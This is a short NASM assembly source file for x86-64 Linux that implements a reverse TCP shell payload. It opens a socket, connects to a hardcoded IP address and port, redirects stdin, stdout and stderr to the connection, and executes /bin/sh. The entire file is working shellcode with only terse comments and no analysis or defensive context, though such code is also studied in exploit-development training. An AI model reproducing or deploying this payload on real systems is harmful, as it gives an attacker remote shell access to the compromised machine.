Reverse_TCP_shell.nasm

global _start

section .text

_start:
	
;Socket syscall
	xor rax, rax
	add rax, 41
	xor rdi, rdi
	add rdi, 2
	xor rsi, rsi
	inc rsi
	xor rdx, rdx
	syscall

;Save the sockt in RDI Register
	mov rdi, rax

;Creating the structure
	xor rax, rax
	push dword 0x04b2a8c0 ;IP
	push word 0xd204       ;Port
	push word 0x02

;Move stack pointer to RSI
	mov rsi, rsp

;Connect syscall
	xor rdx, rdx
	add rdx, 16
	xor rax, rax
	add rax, 42
	syscall

;Dup2 syscall to stdin
	xor rax, rax
	add rax, 33
	xor rsi, rsi
	syscall

;Dup2 syscall to stdout
	xor rax, rax
	add rax, 33
	inc rsi
	syscall

;Dup2 syscall to stderr
	xor rax, rax
	add rax, 33
	inc rsi
	syscall

;Execve syscall with /bin/sh
	xor rax, rax
	push rax
	mov rdx, rsp
	mov rbx, 0x68732f6e69622f2f
	push rbx
	mov rdi, rsp
	push rax
	push rdi
	mov rsi, rsp
	add rax, 59 ;execve
	syscall